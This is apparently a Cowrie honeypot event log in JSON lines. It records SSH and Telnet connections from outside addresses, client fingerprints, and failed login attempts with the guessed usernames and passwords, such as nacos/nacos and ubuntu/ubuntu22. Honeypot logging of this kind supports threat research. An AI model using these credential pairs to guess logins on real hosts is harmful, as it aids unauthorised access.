{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:50.525613Z","src_ip":"2.57.121.25","session":"4125f51bc90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"231183","message":"login attempt [user/231183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:51.021832Z","src_ip":"2.57.121.25","session":"4125f51bc90e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.419421672821045,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:51.350974Z","src_ip":"38.60.198.128","session":"32f4657be6ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":60774,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c1b25d01684","protocol":"telnet","message":"New connection: 45.81.23.16:60774 (10.17.0.5:23) [session: 0c1b25d01684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:51.721915Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"23111981","message":"login attempt [user/23111981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:52.128777Z","src_ip":"2.57.121.25","session":"4125f51bc90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23111979","message":"login attempt [user/23111979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:53.236556Z","src_ip":"2.57.121.25","session":"4125f51bc90e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"23091993","message":"login attempt [user/23091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:54.345747Z","src_ip":"2.57.121.25","session":"4125f51bc90e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.8116512298584,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:55.133930Z","src_ip":"38.60.198.128","session":"7bf2633b263c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"23071977","message":"login attempt [user/23071977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:55.454090Z","src_ip":"2.57.121.25","session":"4125f51bc90e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54420,"dst_ip":"159.203.135.109","dst_port":23,"session":"949e563e64ba","protocol":"telnet","message":"New connection: 38.60.198.128:54420 (159.203.135.109:23) [session: 949e563e64ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:56.194173Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:56.566526Z","src_ip":"2.57.121.25","session":"4125f51bc90e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.086285591125488,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:56.808098Z","src_ip":"45.81.23.16","session":"0c1b25d01684","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34374,"dst_ip":"159.203.135.109","dst_port":23,"session":"23d21375a72b","protocol":"telnet","message":"New connection: 38.60.198.128:34374 (159.203.135.109:23) [session: 23d21375a72b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:47:59.689382Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":48424,"dst_ip":"10.17.0.5","dst_port":23,"session":"26fdcccf646f","protocol":"telnet","message":"New connection: 65.60.27.33:48424 (10.17.0.5:23) [session: 26fdcccf646f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:00.119824Z"}
{"eventid":"cowrie.session.closed","duration":42.11541223526001,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:00.590154Z","src_ip":"38.60.198.128","session":"caed234cb4d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.91595911979675,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:00.833230Z","src_ip":"38.60.198.128","session":"8e5b990ccc93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.51340317726135,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:01.868960Z","src_ip":"38.54.119.93","session":"a8746f0247f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":37628,"dst_ip":"159.203.135.109","dst_port":23,"session":"514a6ccebca8","protocol":"telnet","message":"New connection: 38.60.198.128:37628 (159.203.135.109:23) [session: 514a6ccebca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:02.786095Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42316,"dst_ip":"159.203.135.109","dst_port":23,"session":"336804e83d12","protocol":"telnet","message":"New connection: 38.60.198.128:42316 (159.203.135.109:23) [session: 336804e83d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:07.295680Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47014,"dst_ip":"159.203.135.109","dst_port":23,"session":"664b4a46f5fc","protocol":"telnet","message":"New connection: 38.60.198.128:47014 (159.203.135.109:23) [session: 664b4a46f5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:12.604124Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51124,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a3b02592fc3","protocol":"telnet","message":"New connection: 38.60.198.128:51124 (159.203.135.109:23) [session: 2a3b02592fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:15.356267Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51136,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e25f9ab9e9","protocol":"telnet","message":"New connection: 38.60.198.128:51136 (159.203.135.109:23) [session: f2e25f9ab9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:16.375938Z"}
{"eventid":"cowrie.session.closed","duration":38.43005847930908,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:20.414810Z","src_ip":"38.60.198.128","session":"a6afe156a932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58630,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec15c6748196","protocol":"telnet","message":"New connection: 38.60.198.128:58630 (159.203.135.109:23) [session: ec15c6748196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:22.142573Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":33564,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8dea3e23ad6","protocol":"telnet","message":"New connection: 38.60.198.128:33564 (159.203.135.109:23) [session: e8dea3e23ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:25.047792Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34892,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff0187ba731","protocol":"telnet","message":"New connection: 38.60.198.128:34892 (159.203.135.109:23) [session: bff0187ba731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:27.355332Z"}
{"eventid":"cowrie.session.closed","duration":62.805829763412476,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:29.832854Z","src_ip":"45.81.23.16","session":"f5db198ff3d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.10199737548828,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:30.490199Z","src_ip":"38.60.198.128","session":"55b193382f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39358,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed5c226aec6","protocol":"telnet","message":"New connection: 38.60.198.128:39358 (159.203.135.109:23) [session: 6ed5c226aec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:30.635482Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38842,"dst_ip":"159.203.135.109","dst_port":23,"session":"d167654de49a","protocol":"telnet","message":"New connection: 38.60.198.128:38842 (159.203.135.109:23) [session: d167654de49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:31.240095Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41848,"dst_ip":"159.203.135.109","dst_port":23,"session":"42cc2eb29499","protocol":"telnet","message":"New connection: 38.60.198.128:41848 (159.203.135.109:23) [session: 42cc2eb29499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:32.701956Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43648,"dst_ip":"159.203.135.109","dst_port":23,"session":"80ed8ee78545","protocol":"telnet","message":"New connection: 38.60.198.128:43648 (159.203.135.109:23) [session: 80ed8ee78545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:34.535202Z"}
{"eventid":"cowrie.session.closed","duration":39.650264501571655,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:35.844316Z","src_ip":"38.60.198.128","session":"949e563e64ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42836,"dst_ip":"159.203.135.109","dst_port":23,"session":"94277e41f668","protocol":"telnet","message":"New connection: 38.60.198.128:42836 (159.203.135.109:23) [session: 94277e41f668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:36.559968Z"}
{"eventid":"cowrie.session.closed","duration":1.786458969116211,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:38.346337Z","src_ip":"38.60.198.128","session":"94277e41f668","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47718,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c1d0e83f954","protocol":"telnet","message":"New connection: 38.60.198.128:47718 (159.203.135.109:23) [session: 4c1d0e83f954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:39.468867Z"}
{"eventid":"cowrie.session.closed","duration":51.11070513725281,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:40.935762Z","src_ip":"45.81.23.16","session":"45c565ea050b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.204864740371704,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:41.990869Z","src_ip":"38.60.198.128","session":"514a6ccebca8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.738702058792114,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:45.858400Z","src_ip":"65.60.27.33","session":"26fdcccf646f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.197275161743164,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:46.886521Z","src_ip":"38.60.198.128","session":"23d21375a72b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.416341066360474,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:47.711879Z","src_ip":"38.60.198.128","session":"336804e83d12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00575113296509,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:52.753635Z","src_ip":"38.60.198.128","session":"0ff76c4d801e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.112","src_port":61228,"dst_ip":"10.17.0.5","dst_port":23,"session":"adf33903334d","protocol":"telnet","message":"New connection: 147.185.132.112:61228 (10.17.0.5:23) [session: adf33903334d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:55.492874Z"}
{"eventid":"cowrie.session.closed","duration":41.85083866119385,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:57.206937Z","src_ip":"38.60.198.128","session":"2a3b02592fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.836108446121216,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:48:57.211890Z","src_ip":"38.60.198.128","session":"f2e25f9ab9e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46016,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd27db99a4e9","protocol":"telnet","message":"New connection: 38.60.198.128:46016 (159.203.135.109:23) [session: fd27db99a4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:00.875208Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45118,"dst_ip":"159.203.135.109","dst_port":23,"session":"4df7683a307e","protocol":"telnet","message":"New connection: 38.60.198.128:45118 (159.203.135.109:23) [session: 4df7683a307e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:01.103184Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47520,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f153a0f978","protocol":"telnet","message":"New connection: 38.60.198.128:47520 (159.203.135.109:23) [session: 73f153a0f978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:01.893474Z"}
{"eventid":"cowrie.session.closed","duration":42.173253297805786,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:04.315719Z","src_ip":"38.60.198.128","session":"ec15c6748196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.82165217399597,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:04.425689Z","src_ip":"38.60.198.128","session":"664b4a46f5fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.973090648651123,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:05.465871Z","src_ip":"147.185.132.112","session":"adf33903334d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":45554,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fc658037e93","protocol":"ssh","message":"New connection: 191.101.59.69:45554 (159.203.135.109:22) [session: 2fc658037e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:06.783328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:07.193782Z","src_ip":"191.101.59.69","session":"2fc658037e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:07.285665Z","src_ip":"191.101.59.69","session":"2fc658037e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56050,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d008b1c69b7","protocol":"telnet","message":"New connection: 38.60.198.128:56050 (159.203.135.109:23) [session: 5d008b1c69b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:10.096549Z"}
{"eventid":"cowrie.session.closed","duration":39.55592966079712,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:10.191311Z","src_ip":"38.60.198.128","session":"6ed5c226aec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.230790853500366,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:10.586050Z","src_ip":"38.60.198.128","session":"bff0187ba731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05652475357056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:10.591578Z","src_ip":"38.60.198.128","session":"80ed8ee78545","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu22","message":"login attempt [ubuntu/ubuntu22] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:11.400000Z","src_ip":"191.101.59.69","session":"2fc658037e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60406,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9968f536f78","protocol":"telnet","message":"New connection: 38.60.198.128:60406 (159.203.135.109:23) [session: f9968f536f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:12.036209Z"}
{"eventid":"cowrie.session.closed","duration":41.11495399475098,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:12.354944Z","src_ip":"38.60.198.128","session":"d167654de49a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:12.506401Z","src_ip":"191.101.59.69","session":"2fc658037e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.201213121414185,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:12.903058Z","src_ip":"38.60.198.128","session":"42cc2eb29499","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.724313735961914,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:15.771977Z","src_ip":"38.60.198.128","session":"e8dea3e23ad6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.253.9.69","src_port":35584,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc4a8fc9b17f","protocol":"ssh","message":"New connection: 36.253.9.69:35584 (10.17.0.5:22) [session: fc4a8fc9b17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:18.115450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:18.121525Z","src_ip":"36.253.9.69","session":"fc4a8fc9b17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1616c6d18e845e7a01168a44591f7a35","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:18.365571Z","src_ip":"36.253.9.69","session":"fc4a8fc9b17f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nacos","password":"nacos","message":"login attempt [nacos/nacos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:19.426900Z","src_ip":"36.253.9.69","session":"fc4a8fc9b17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.107664585113525,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:19.576425Z","src_ip":"38.60.198.128","session":"4c1d0e83f954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:49:20.674046Z","src_ip":"36.253.9.69","session":"fc4a8fc9b17f","protocol":"ssh"}
